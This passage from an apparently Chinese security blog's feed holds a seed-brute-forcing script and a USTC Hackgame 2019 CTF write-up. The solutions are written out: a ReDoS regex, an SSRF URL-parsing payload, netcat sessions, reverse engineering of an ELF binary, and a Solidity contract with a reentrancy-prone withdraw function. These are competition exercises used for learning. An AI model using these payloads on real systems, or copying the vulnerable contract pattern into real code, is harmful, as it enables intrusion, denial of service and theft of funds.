class=\"c1\">#!\/usr\/bin\/env python\n# coding: utf-8\n<\/span>\n<span class=\"c1\"># In[5]:\n<\/span>\n<span class=\"kn\">import<\/span> <span class=\"nn\">random<\/span>\n<span class=\"kn\">import<\/span> <span class=\"nn\">string<\/span>\n<span class=\"kn\">from<\/span> <span class=\"nn\">itertools<\/span> <span class=\"kn\">import<\/span> <span class=\"n\">product<\/span>\n\n\n<span class=\"c1\"># In[96]:\n<\/span>\n\n<span class=\"k\">def<\/span> <span class=\"nf\">find<\/span><span class=\"p\">(<\/span><span class=\"n\">seed<\/span><span class=\"p\">,<\/span> <span class=\"n\">target<\/span><span class=\"p\">):<\/span>\n    <span class=\"n\">random<\/span><span class=\"p\">.<\/span><span class=\"n\">seed<\/span><span class=\"p\">(<\/span><span class=\"n\">seed<\/span><span class=\"p\">)<\/span>\n    <span class=\"n\">t<\/span> <span class=\"o\">=<\/span> <span class=\"n\">random<\/span><span class=\"p\">.<\/span><span class=\"n\">sample<\/span><span class=\"p\">(<\/span><span class=\"nb\">range<\/span><span class=\"p\">(<\/span><span class=\"mi\">1<\/span><span class=\"p\">,<\/span><span class=\"mi\">300<\/span><span class=\"p\">),<\/span> <span class=\"mi\">5<\/span><span class=\"p\">)<\/span>\n\n    <span class=\"n\">c<\/span> <span class=\"o\">=<\/span> <span class=\"mi\">0<\/span>\n    <span class=\"k\">for<\/span> <span class=\"n\">i<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">target<\/span><span class=\"p\">:<\/span>\n        \n        <span class=\"k\">if<\/span> <span class=\"n\">i<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">t<\/span><span class=\"p\">:<\/span>\n            <span class=\"n\">c<\/span> <span class=\"o\">+=<\/span> <span class=\"mi\">1<\/span>\n    \n    <span class=\"k\">return<\/span> <span class=\"n\">c<\/span> <span class=\"o\">==<\/span> <span class=\"nb\">len<\/span><span class=\"p\">(<\/span><span class=\"n\">target<\/span><span class=\"p\">)<\/span>  \n\n\n<span class=\"c1\"># In[100]:\n<\/span>\n\n<span class=\"n\">count<\/span> <span class=\"o\">=<\/span> <span class=\"mi\">1<\/span>\n<span class=\"n\">result<\/span> <span class=\"o\">=<\/span> <span class=\"p\">[]<\/span>\n<span class=\"n\">asc<\/span> <span class=\"o\">=<\/span> <span class=\"n\">string<\/span><span class=\"p\">.<\/span><span class=\"n\">ascii_letters<\/span><span class=\"o\">+<\/span><span class=\"n\">string<\/span><span class=\"p\">.<\/span><span class=\"n\">digits<\/span>\n<span class=\"k\">for<\/span> <span class=\"n\">s<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">product<\/span><span class=\"p\">(<\/span><span class=\"n\">asc<\/span><span class=\"p\">,<\/span> <span class=\"n\">repeat<\/span><span class=\"o\">=<\/span><span class=\"mi\">15<\/span><span class=\"p\">):<\/span>\n    <span class=\"n\">count<\/span> <span class=\"o\">+=<\/span> <span class=\"mi\">1<\/span>\n\n    <span class=\"k\">if<\/span> <span class=\"ow\">not<\/span> <span class=\"n\">count<\/span><span class=\"o\">%<\/span><span class=\"mi\">100000<\/span><span class=\"p\">:<\/span>\n        <span class=\"k\">print<\/span><span class=\"p\">(<\/span><span class=\"s\">\"count: {:,d}\"<\/span><span class=\"p\">.<\/span><span class=\"nb\">format<\/span><span class=\"p\">(<\/span><span class=\"n\">count<\/span><span class=\"p\">))<\/span>\n\n    <span class=\"n\">s<\/span> <span class=\"o\">=<\/span> <span class=\"s\">\"\"<\/span><span class=\"p\">.<\/span><span class=\"n\">join<\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"p\">)<\/span>\n    <span class=\"k\">if<\/span> <span class=\"n\">find<\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"p\">,<\/span> <span class=\"p\">[<\/span><span class=\"mi\">1<\/span><span class=\"p\">,<\/span><span class=\"mi\">2<\/span><span class=\"p\">,<\/span> <span class=\"mi\">3<\/span><span class=\"p\">,<\/span><span class=\"mi\">4<\/span><span class=\"p\">]):<\/span>\n<span class=\"c1\">#         print(s)\n<\/span>        <span class=\"k\">print<\/span><span class=\"p\">(<\/span><span class=\"n\">count<\/span><span class=\"p\">,<\/span> <span class=\"n\">s<\/span><span class=\"p\">)<\/span>\n        <span class=\"n\">result<\/span><span class=\"p\">.<\/span><span class=\"n\">append<\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"p\">)<\/span>\n        <span class=\"k\">break<\/span>\n        \n\n\n<span class=\"c1\"># In[95]:\n<\/span>\n\n\n<span class=\"k\">print<\/span><span class=\"p\">(<\/span><span class=\"nb\">set<\/span><span class=\"p\">(<\/span><span class=\"n\">result<\/span><span class=\"p\">))<\/span>\n<span class=\"k\">for<\/span> <span class=\"n\">seed<\/span> <span class=\"ow\">in<\/span> <span class=\"nb\">set<\/span><span class=\"p\">(<\/span><span class=\"n\">result<\/span><span class=\"p\">):<\/span>\n    <span class=\"n\">random<\/span><span class=\"p\">.<\/span><span class=\"n\">seed<\/span><span class=\"p\">(<\/span><span class=\"n\">seed<\/span><span class=\"p\">)<\/span>\n    <span class=\"k\">print<\/span><span class=\"p\">(<\/span><span class=\"n\">random<\/span><span class=\"p\">.<\/span><span class=\"n\">sample<\/span><span class=\"p\">(<\/span><span class=\"nb\">range<\/span><span class=\"p\">(<\/span><span class=\"mi\">1<\/span><span class=\"p\">,<\/span><span class=\"mi\">300<\/span><span class=\"p\">),<\/span><span class=\"mi\">5<\/span><span class=\"p\">))<\/span>\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<p>\u8fd9\u662f\u8ba1\u7b97\u5bc6\u96c6\u578b\uff0c\u53ef\u4ee5\u591a\u8fdb\u7a0b\uff0c\u4f46\u662f\u6211\u662f\u4e22\u5230\u670d\u52a1\u5668\u4e0a\u8dd1\u7684\uff0c\u53ea\u6709\u4e00\u4e2aCPU :) \u6240\u4ee5\u5c31\u5355\u8fdb\u7a0b\u5427<\/p>\n\n<h1 id=\"result\">result<\/h1>\n\n<p>\u79d2\u901f\u7206\u7834\u51fa\u6765\u53ef\u4ee5\u751f\u6210\u5305\u542b1,2,3\u4f4d\u6307\u5b9a\u6570\u5b57\u7684\u79cd\u5b50<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n<\/pre><\/td><td class=\"rouge-code\"><pre># trafbpcszonjeil  hpscybwevjuzlkr  \u751f\u6210 1\uff0c2\uff0c3\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u4e09\u5341\u5206\u949f\u8dd1\u5230\u4e86\u53ef\u4ee5\u751f\u6210\u5305\u542b\u56db\u4f4d\u6307\u5b9a\u968f\u673a\u6570\u7684\u79cd\u5b50 <code class=\"language-plaintext highlighter-rouge\">[1,2,3,4]<\/code><\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n<\/pre><\/td><td class=\"rouge-code\"><pre>In [1]: seed = 'aaaaaaaaaaeNWk4'\n\nIn [2]: import random\n\nIn [3]: random.seed(seed)\n\nIn [4]: random.sample(range(1,300),5)\nOut[4]: [1, 59, 3, 2, 4]\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n","pubDate":"Wed, 13 Nov 2019 01:43:10 +0000","link":"https:\/\/iansmith123.github.io\/2019\/11\/13\/python-random\/","guid":"https:\/\/iansmith123.github.io\/2019\/11\/13\/python-random\/","category":["websecurity","python"]},{"title":"ustc hackgame 2019 writeup","description":"<h1 id=\"\u5e8f\">\u5e8f<\/h1>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n<\/pre><\/td><td class=\"rouge-code\"><pre>\u5f53\u524d\u5206\u6570\uff1a2350\uff0c \u603b\u6392\u540d\uff1a80 \/ 1904\nbinary\uff1a150 \uff0c general\uff1a850 \uff0c math\uff1a600 \uff0c web\uff1a750\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<p>\u83dc\u662f\u539f\u7f6a\uff0c\u6539\u53d8\u4e0d\u4e86\u7684\u4e8b\u5b9e  :(<\/p>\n\n<p><img src=\"http:\/\/static.scuseek.com\/20191022151143.png\" alt=\"\" \/><\/p>\n\n<p><img src=\"http:\/\/static.scuseek.com\/20191022150931.png\" alt=\"\" \/><\/p>\n\n<h1 id=\"\u7b7e\u5230\">\u7b7e\u5230<\/h1>\n<p>\u590d\u5236\u672c\u4ebatoken\uff0c\u8fc7\u53bb\u7c98\u8d34\u7136\u540e\u63d0\u4ea4<\/p>\n\n<h1 id=\"\u4fe1\u606f\u5b89\u51682077\">\u4fe1\u606f\u5b89\u51682077<\/h1>\n<p>\u770b\u4e86\u4e0b\u662f<code class=\"language-plaintext highlighter-rouge\">If-Unmodified-Since<\/code>\u5934\uff0c\u6539\u4e00\u4e0b\u5c31\u884c<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n<\/pre><\/td><td class=\"rouge-code\"><pre>curl 202.38.93.241:2077\/flag.txt -H \"User-agent=Mozilla\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\/537.36 (KHTML, like Gecko) HEICORE\/49.1.2623.213 Safari\/537.36\" -H \"If-Unmodified-Since: Tue, 15 Oct 2077 05:47:08 GMT\" -d  \" \"\nflag{Welc0me_to_competit1on_in_2077}\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<h1 id=\"happy-lug\">happy lug<\/h1>\n<p>dns txt\u8bb0\u5f55\n\u4e00\u822cctf\u91cc\u9762\u8fd9\u79cd\u90fd\u662f\u67e5txt\u8bb0\u5f55<\/p>\n\n<p><del>\u6bd5\u7adf\u6211\u4e5f\u5728\u6211\u7684\u57df\u540dtxt\u91cc\u9762\u653e\u8fc7flag (Doge<\/del><\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n<\/pre><\/td><td class=\"rouge-code\"><pre>https:\/\/mxtoolbox.com\/SuperTool.aspx?action=txt%3a%F0%9F%98%82.hack.ustclug.org&amp;run=toolpage#\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n<\/pre><\/td><td class=\"rouge-code\"><pre>flag{DN5_C4N_H4VE_em0ji_haha}\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<h1 id=\"\u5b87\u5b99\u7ec8\u6781\u95ee\u9898\">\u5b87\u5b99\u7ec8\u6781\u95ee\u9898<\/h1>\n<h2 id=\"42\">42<\/h2>\n<p>\u641c\u4e00\u4e0b\u5c31\u6709\u4e86<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n29\n<\/pre><\/td><td class=\"rouge-code\"><pre>$ nc 202.38.93.241 10017\nPlease input your token: 959:MEYCIQC5ir9sscKL0EsFJknDHKTInhAAka2kE67Ja\/uuZRTiFAIhAKye8eFiVjnADQenC4nihInpkAKSsGTWnmIjfvSR9K98\n\n       the        answer\n      toli      fetheuniv\n     ersea     nde     ver\n    ything     the     ans\n   wer tol     ife     the\n  uni  ver           sean\n dev   ery         thin\ngth    ean       swer\ntolifetheuni    ver\nseandeveryth   ing\n       the     ans      wer\n       tol     ifetheuniver\n       sea     ndeverything\n\nDo you know The Answer to the Ultimate Question of Life, The Universe, and Everything?\n\nGive me 3 integers, x, y, and z, such that\nx^3 + y^3 + z^3 = 42\n\nx = -80538738812075974\ny = 80435758145817515\nz = 12602123297335631\n(-80538738812075974) ^ 3 + (80435758145817515) ^ 3 + (12602123297335631) ^ 3 = 42\nflag{W0W_you_kn0w_the_Answer_t0_l1f3_Un1v3r5e_&amp;_Everyth1ng_a51ec7fd69}\n\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<h1 id=\"\u6b63\u5219\u9a8c\u8bc1\u5668\">\u6b63\u5219\u9a8c\u8bc1\u5668<\/h1>\n<p>\u770b\u9898\u76ee\u76f4\u63a5\u731c\u662f\u6b63\u5219\u56de\u6eaf\u9677\u9631<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n<\/pre><\/td><td class=\"rouge-code\"><pre>$ nc 202.38.93.241 10006\nPlease input your token: 959:MEYCIQC5ir9sscKL0EsFJknDHKTInhAAka2kE67Ja\/uuZRTiFAIhAKye8eFiVjnADQenC4nihInpkAKSsGTWnmIjfvSR9K98\nWelcome to the free online Regular Expression Verifier\nPlease enter your RegEx and string and I will match them for you\n\nRegEx: (a*)*b\nString: aaaaaaaaaaaaaaaaaaaaaaas\nflag{R3g3x_can_D0S_f01fd1fa56}\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<h1 id=\"ssrf\">ssrf<\/h1>\n<p>\u770b\u6e90\u4ee3\u7801\uff0c\u5ba1\u8ba1<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n<\/pre><\/td><td class=\"rouge-code\"><pre>http:\/\/202.38.93.241:10020\/request?url=http:\/\/web1\/flag?@example.com\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<p>\u8111\u5b50\u4e0d\u591f\u7528<\/p>\n\n<h1 id=\"\u6211\u60f3\u6709\u4e2a\u5bb6\">\u6211\u60f3\u6709\u4e2a\u5bb6<\/h1>\n<p>\u4e0b\u8f7d\u4e8c\u8fdb\u5236\u6587\u4ef6\uff0c\u8fd0\u884c\u4e00\u4e0b<\/p>\n\n<p>\u770b\u6837\u5b50\u662f\u8981chroot\uff0c\u90a3\u5c31\u5148\u521b\u5efa\u4ed6\u9700\u8981\u7684\u4e1c\u897f\u5427<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n<\/pre><\/td><td class=\"rouge-code\"><pre>mkdir hhhh\ncd hhhh\nmkdir Bedroom Kitchen Lavatory Living_room\ntouch Bedroom\/Micrrophone\ncd Bedroom\nln -s Microphone Headset\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<p>\u7136\u540e\u5199\u4e2a\u811a\u672c\u5b9a\u671f\u4fee\u6539\u6587\u4ef6\u7684\u65f6\u95f4<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n<\/pre><\/td><td class=\"rouge-code\"><pre>In [11]: while True:\n    ...:     time.sleep(0.1)\n    ...:     with open('Living_Room\/Clock', 'w') as f:\n    ...:         f.write(datetime.now().strftime('%H:%M:%S'))\n    ...: \n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<p>\u56e0\u4e3a\u6ca1\u6709\u52a8\u6001\u5e93\u4e86\uff0c\u7cfb\u7edf\u7684sleep\u4e0d\u80fd\u7528\u4e86<\/p>\n\n<p>busybox\u4e5f\u6709sleep\uff0c\u4f46\u662f\u9700\u8981\/dev\/null\uff0c\u61d2\u5f97\u53bb\u641e\uff0c\u76f4\u63a5\u7528go\u5199\u4e00\u4e2asleep\u9759\u6001\u7f16\u8bd1\u4e22\u8fdb\u53bb<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n<\/pre><\/td><td class=\"rouge-code\"><pre>package main\n\nimport (\n\t\"fmt\"\n\t\"time\"\n)\n\nfunc main() {\n\tfmt.Println(\"sleep now \")\n\ttime.Sleep(time.Duration(10)*time.Second)\n\tfmt.Println(\"sleep\")\n}\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<p>\u4ea4\u53c9\u7f16\u8bd1<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n<\/pre><\/td><td class=\"rouge-code\"><pre>set GOOS=linux\nset GOARCH=amd64\ngo build main.go\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<p>\u7136\u540e\u6267\u884c<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n<\/pre><\/td><td class=\"rouge-code\"><pre>chroot . .\/IWantHome\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<p>\u9700\u8981sleep\u7684\u65f6\u5019\u6267\u884cmain\u5c31\u884c\u4e86<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n<\/pre><\/td><td class=\"rouge-code\"><pre>$ chroot . .\/IWantAHome-linux\nI just want a home. Please do what I say and I will give you a flag\nMake sure I am running on Linux(Unix).\nI want these directories in \/ : [\/Kitchen \/Lavatory \/Bedroom \/Living_Room]\nThanks, I find these directories.\nI hate these directories  [\/home \/root \/boot \/proc \/sys \/etc \/bin] , Please delete them all!\nWell done.\nNow I want a telephone in Bedroom\nI will write something to \/Bedroom\/Microphone and read the same thing in \/Bedroom\/Headset\nGood, telephone works well.\nTime is important, I need a clock in living_room\nI will read  Beijing time (eg: '20:15:30') in \/Living_Room\/Clock\nGood, the clock works well.\nIt is late, tell me how to sleep 10 seconds in shell\n&gt; .\/main\ncommand is:'.\/main'\nI slept for  10.004741985s\nflag{I_am_happy_now}\n\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<h1 id=\"\u5c0f\u5de7\u73b2\u73d1\u7684elf\">\u5c0f\u5de7\u73b2\u73d1\u7684ELF<\/h1>\n\n<p>\u4e22\u8fdbIDA\u770b\u4e00\u4e0b\uff0cF5\u51fa\u6765\u6709\u8d1f\u6570\uff0c\u7ed3\u5408\u7740\u6c47\u7f16\u770b\u5427  ida\u7684f5\u4ec5\u4f9b\u53c2\u8003<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n29\n30\n31\n32\n33\n34\n35\n36\n37\n38\n39\n40\n41\n42\n43\n44\n45\n46\n47\n48\n49\n<\/pre><\/td><td class=\"rouge-code\"><pre>push    rbp\nmov     rbp, rsp\nsub     rsp, 70h\nmov     [rbp+var_70], 66h\nmov     [rbp+var_6F], 6Eh\nmov     [rbp+var_6E], 65h\nmov     [rbp+var_6D], 6Bh\nmov     [rbp+var_6C], 83h\nmov     [rbp+var_6B], 4Eh\nmov     [rbp+var_6A], 6Dh\nmov     [rbp+var_69], 74h\nmov     [rbp+var_68], 85h\nmov     [rbp+var_67], 7Ah\nmov     [rbp+var_66], 6Fh\nmov     [rbp+var_65], 57h\nmov     [rbp+var_64], 91h\nmov     [rbp+var_63], 73h\nmov     [rbp+var_62], 90h\nmov     [rbp+var_61], 4Fh\nmov     [rbp+var_60], 8Dh\nmov     [rbp+var_5F], 7Fh\nmov     [rbp+var_5E], 63h\nmov     [rbp+var_5D], 36h\nmov     [rbp+var_5C], 6Ch\nmov     [rbp+var_5B], 6Eh\nmov     [rbp+var_5A], 87h\nmov     [rbp+var_59], 69h\nmov     [rbp+var_58], 163\nmov     [rbp+var_57], 6Fh\nmov     [rbp+var_56], 58h\nmov     [rbp+var_55], 73h\nmov     [rbp+var_54], 66h\nmov     [rbp+var_53], 56h\nmov     [rbp+var_52], 93h\nmov     [rbp+var_51], 9Fh\nmov     [rbp+var_50], 69h\nmov     [rbp+var_4F], 70h\nmov     [rbp+var_4E], 38h\nmov     [rbp+var_4D], 76h\nmov     [rbp+var_4C], 71h\nmov     [rbp+var_4B], 78h\nmov     [rbp+var_4A], 6Fh\nmov     [rbp+var_49], 63h\nmov     [rbp+var_48], 0C4h\nmov     [rbp+var_47], 82h\nmov     [rbp+var_46], 84h\nmov     [rbp+var_45], 0BEh\nmov     [rbp+var_44], 0BBh\nmov     [rbp+var_43], 0CDh\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<p>ida\u6253\u5f00\uff0cF5<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n<\/pre><\/td><td class=\"rouge-code\"><pre>for ( i = 0; i &lt;= 45; ++i )\n  {\n    buf[i] += 2 * i;\n    buf[i] ^= i;\n    buf[i] -= i;\n  }\n  for ( j = 0; j &lt;= 45; ++j )\n  {\n    if ( buf[j] != *(&amp;v0 + j) )\n      __asm { syscall; LINUX - sys_exit }\n  }\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u68b3\u7406\u4e0b\u903b\u8f91\uff0c\u6839\u636e\u8f93\u5165\u7684\u5b57\u7b26\u4e32\u505a\u4e00\u4e9b\u53d8\u6362\uff0c\u5982\u679c\u53d8\u6362\u4e4b\u540e\u7684\u7ed3\u679c\u7b49\u4e8e\u4ed6\u9884\u5b9a\u4e49\u7684\u5b57\u7b26\u4e32\uff0c\u90a3\u4e48\u8f93\u51facorrect<\/p>\n\n<p>\u4e24\u79cd\u65b9\u5f0f\u53bb\u9a8c\u8bc1\uff0c\u53ef\u4ee5\u7206\u7834flag\u6216\u8005\u6839\u636e\u9a8c\u8bc1\u7684\u5185\u5bb9\u5012\u63a8<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n<\/pre><\/td><td class=\"rouge-code\"><pre>flag = [None for i in range(46)]\nl = [0x66,0x6E,0x65,0x6B,0x83,0x4E,0x6D,0x74,0x85,0x7A,0x6F,0x57,0x91,0x73,0x90,0x4F,0x8D,0x7F,0x63,0x36,0x6C,0x6E,0x87,0x69,0x0a3,0x6F,0x58,\n0x73,0x66,0x56,0x93,0x9F,0x69,0x70,0x38,0x76,0x71,0x78,0x6F,0x63,0x0C4,0x82,0x84,0x0BE,0x0BB,0x0CD,]\nfor i, c in enumerate(l):\n    \n    flag[i] = c+i\n    flag[i] = flag[i]^i\n    flag[i] = flag[i]-2*i\n#     print(i,c,flag[i])\n# print(flag)\n\"\".join([chr(abs(i)) for i in flag if not None])\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n<\/pre><\/td><td class=\"rouge-code\"><pre>'flag{Linux_Syst3m_C4ll_is_4_f4scin4ting_t00ls}'\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u770b\u5176\u4ed6\u5b98\u65b9\u7684writeup\uff0c\u53ef\u4ee5\u76f4\u63a5\u7b26\u53f7\u6267\u884c<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n<\/pre><\/td><td class=\"rouge-code\"><pre>import angr\n\nproj = angr.Project(\"tinyELF\")\nsimgr = proj.factory.simgr()\nsimgr.explore(find=lambda s: b\"correct\" in s.posix.dumps(1))\nprint(simgr.found[0].posix.dumps(0))\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<p>\u6267\u884c<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n<\/pre><\/td><td class=\"rouge-code\"><pre># root @ Beijing-debian in ~\/lug [14:26:47] \n$ python3 elf.py\nb'flag{Linux_Syst3m_C4ll_is_4_f4scin4ting_t00ls}'\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u8bd5\u4e86\u4e0b\uff0c\u51e0\u79d2\u949f\u51fa\u7ed3\u679c\uff0c\u7b26\u53f7\u6267\u884cnb<\/p>\n\n<h1 id=\"\u97ed\u83dc\">\u97ed\u83dc<\/h1>\n<p>\u5168\u9760\u4e01\u5927\u4f6ccarry\uff0c\u771f\u7684nb<\/p>\n\n<p>\u9898\u76ee\u7ed9\u51fa\u4e86\u667a\u80fd\u5408\u7ea6\u7684\u7b97\u6cd5<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n29\n30\n31\n32\n33\n34\n35\n36\n37\n38\n39\n40\n41\n42\n<\/pre><\/td><td class=\"rouge-code\"><pre>pragma solidity ^0.4.26;\n\ncontract JCBank {\n    mapping (address =&gt; uint) public balance;\n    mapping (uint =&gt; bool) public got_flag;\n    uint128 secret;\n\n    constructor (uint128 init_secret) public {\n        secret = init_secret;\n    }\n\n    function deposit() public payable {\n        balance[msg.sender] += msg.value;\n    }\n\n    function withdraw(uint amount) public {\n        require(balance[msg.sender] &gt;= amount);\n        msg.sender.call.value(amount)();\n        balance[msg.sender] -= amount;\n    }\n\n    function get_flag_1(uint128 guess) public view returns(string) {\n        require(guess == secret);\n\n        bytes memory h = new bytes(32);\n        for (uint i = 0; i &lt; 32; i++) {\n            uint b = (secret &gt;&gt; (4 * i)) &amp; 0xF;\n            if (b &lt; 10) {\n                h[31 - i] = byte(b + 48);\n            } else {\n                h[31 - i] = byte(b + 87);\n            }\n        }\n        return string(abi.encodePacked(\"flag{\", h, \"}\"));\n    }\n\n    function get_flag_2(uint user_id) public {\n        require(balance[msg.sender] &gt; 1000000000000 ether);\n        got_flag[user_id] = true;\n        balance[msg.sender] = 0;\n    }\n}\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u624b\u5199\u4e00\u904d\u7b97\u6cd5\n\u53bb\u67e5\u770b\u667a\u80fd\u5408\u7ea6<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n<\/pre><\/td><td class=\"rouge-code\"><pre>https:\/\/kovan.etherscan.io\/address\/0xe575c9abd35fa94f1949f7d559056bb66fddeb51#code\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<p>\u70b9contract<\/p>\n\n<p>\u4e0b\u9762\u6709\u4e00\u4e2aArg[0] 